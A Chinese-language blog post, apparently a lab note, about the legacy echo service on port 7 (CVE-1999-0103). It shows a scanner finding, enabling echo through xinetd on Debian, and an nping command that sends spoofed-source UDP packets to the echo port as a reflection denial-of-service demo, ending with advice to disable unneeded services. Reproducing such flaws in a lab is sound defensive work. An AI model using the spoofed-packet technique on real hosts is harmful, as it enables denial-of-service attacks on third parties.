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| 今天给主机做扫描时，发现了下面的问题。echo服务，默认开放tcp 7或udp 7端口，向服务器端口发送信息，同样的信息内容会返回到客户端或其他地址。 |
| 10061 (20) - Echo Service Detection
Synopsis An echo service is running on the remote host.
Description The remote host is running the 'echo' service. This service echoes any data which is sent to it. This service is unused these days, so it is strongly advised that you disable it, as it may be used byattackers to set up denial of services attacks against this host.
Solution
Risk Factor None
References CVE CVE-1999-0103
Plugin Information: Public ation date: 1999/06/22, Modification date: 2014/06/09
Hosts 192.168.0.4 (tcp/7) 192.168.0.10 (tcp/7) 192.168.0.11 (tcp/7) 192.168.0.11 (udp/7) |
| 很多时候，安装一些服务软件或做完调试配置，忘记关掉不必要的服务。为了重现上述场景，选择在debian 7主机上安装xinetd. |
| root@linux:~# uname -a Linux linux 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64GNU/Linux |
| root@linux:~# apt-cache search inetd | grep inetd inetutils-inetd - internet super server micro-inetd - simple network service spawner openbsd-inetd - OpenBSD Internet Superserver reconf-inetd - maintainer script for programmatic updates of inetd.conf rinetd - Internet TCP redirection server rlinetd - gruesomely over-featured inetd replacement python-twisted-runner - Process management, including an inetd server python-twisted-runner-dbg - Process management, including an inetd server (debug extension) update-inetd - inetd configuration file updater xinetd - replacement for inetd with many enhancements |
| root@linux:~# apt-get install xinetd Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: xinetd 0 upgraded, 1 newly installed, 0 to remove and 16 not upgraded. Need to get 0 B/149 kB of archives. After this operation, 323 kB of additional disk space will be used. Selecting previously unselected package xinetd. (Reading database ... 113919 files and directories currently installed.) Unpacking xinetd (from .../xinetd_1%3a2.3.14-7.1+deb7u1_amd64.deb) ... Processing triggers for man-db ... Setting up xinetd (1:2.3.14-7.1+deb7u1) ... [ ok ] Stopping internet superserver: xinetd. [ ok ] Starting internet superserver: xinetd. |
| root@linux:~# vi /etc/xinetd.d/echo |
| # default: off # description: An xinetd internal service which echo's characters back to # clients. # This is the tcp version. service echo { # disable = yes disable = no type = INTERNAL id = echo-stream socket_type = stream protocol = tcp user = root wait = no } # This is the udp version. service echo { # disable = yes disable = no type = INTERNAL id = echo-dgram socket_type = dgram protocol = udp user = root wait = yes } |
| 开启服务service xinetd start，TCP 7 / UDP 7 端口开放 |
| root@linux:~# netstat -antu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:7 0.0.0.0:* LISTEN udp 0 0 0.0.0.0:7 0.0.0.0:* |
| 攻击方式 |
| http://www.giac.org/paper/gcih/206/udp-flood-denial-service/101057 |
| root@gnu:~# nping --udp -p 7 -c 4 -S 192.168.0.97 --data-string "HELLOOOOOOOOOOOOOO" 192.168.0.98 Starting Nping 0.6.46 ( http://nmap.org/nping ) at 2014-09-05 19:57 EDT SENT (0.0078s) UDP 192.168.0.97:53 > 192.168.0.98:7 ttl=64 id=19827 iplen=46 SENT (1.0126s) UDP 192.168.0.97:53 > 192.168.0.98:7 ttl=64 id=19827 iplen=46 SENT (2.0142s) UDP 192.168.0.97:53 > 192.168.0.98:7 ttl=64 id=19827 iplen=46 SENT (3.0161s) UDP 192.168.0.97:53 > 192.168.0.98:7 ttl=64 id=19827 iplen=46 Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A Raw packets sent: 4 (184B) | Rcvd: 0 (0B) | Lost: 4 (100.00%) Nping done: 1 IP address pinged in 4.02 seconds 注: 本机IP： 192.168.0.100 |
建议:
1. 安装应用时， 确保关闭引入的不必要服务
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